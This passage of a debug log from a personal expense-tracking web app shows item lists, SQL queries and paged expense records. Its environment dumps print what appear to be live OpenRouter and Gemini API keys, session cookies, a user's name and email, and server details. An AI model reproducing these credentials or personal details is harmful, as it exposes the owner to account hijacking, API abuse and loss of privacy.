  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-11T09:47:59.188Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-11T09:50:07.143Z server-connect:router Serving templateView /collections
2026-03-11T09:50:07.143Z server-connect:app Executing action step identify
2026-03-11T09:50:07.143Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:07.143Z server-connect:output identity: 1
2026-03-11T09:50:07.144Z server-connect:app Executing action step restrict
2026-03-11T09:50:07.144Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:50:07.145Z server-connect:output restrict: undefined
2026-03-11T09:50:07.145Z server-connect:router Render template masters/collections
2026-03-11T09:50:07.145Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:50:07.411Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-03-11T09:50:07.412Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-03-11T09:50:07.412Z server-connect:app Executing action step identify
2026-03-11T09:50:07.412Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:07.412Z server-connect:output identity: 1
2026-03-11T09:50:07.412Z server-connect:app Executing action step restrict
2026-03-11T09:50:07.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:07.413Z server-connect:app Executing action step identify
2026-03-11T09:50:07.413Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:07.413Z server-connect:output identity: 1
2026-03-11T09:50:07.413Z server-connect:app Executing action step restrict
2026-03-11T09:50:07.413Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:07.413Z server-connect:output restrict: undefined
2026-03-11T09:50:07.413Z server-connect:app Executing action step select
2026-03-11T09:50:07.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-03-11T09:50:07.415Z server-connect:output restrict: undefined
2026-03-11T09:50:07.415Z server-connect:app Executing action step paged
2026-03-11T09:50:07.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:50:07.417Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-03-11T09:50:07.420Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 194,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-03-11T09:50:09.664Z server-connect:router Serving templateView /expense/list
2026-03-11T09:50:09.664Z server-connect:app Executing action step identify
2026-03-11T09:50:09.664Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:09.664Z server-connect:output identity: 1
2026-03-11T09:50:09.664Z server-connect:app Executing action step restrict
2026-03-11T09:50:09.664Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:50:09.665Z server-connect:output restrict: undefined
2026-03-11T09:50:09.665Z server-connect:router Render template expense/list
2026-03-11T09:50:09.665Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:50:09.955Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:50:09.955Z server-connect:app Executing action step identify
2026-03-11T09:50:09.955Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:09.955Z server-connect:output identity: 1
2026-03-11T09:50:09.955Z server-connect:app Executing action step restrict
2026-03-11T09:50:09.955Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:09.956Z server-connect:output restrict: undefined
2026-03-11T09:50:09.956Z server-connect:app Executing action step paged
2026-03-11T09:50:09.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:50:09.963Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-11T09:50:09.963Z server-connect:app Executing action step identify
2026-03-11T09:50:09.963Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:09.963Z server-connect:output identity: 1
2026-03-11T09:50:09.963Z server-connect:app Executing action step restrict
2026-03-11T09:50:09.963Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:09.963Z server-connect:output restrict: undefined
2026-03-11T09:50:09.963Z server-connect:app Executing action step select
2026-03-11T09:50:09.963Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-11T09:50:09.965Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-11T09:50:09.968Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
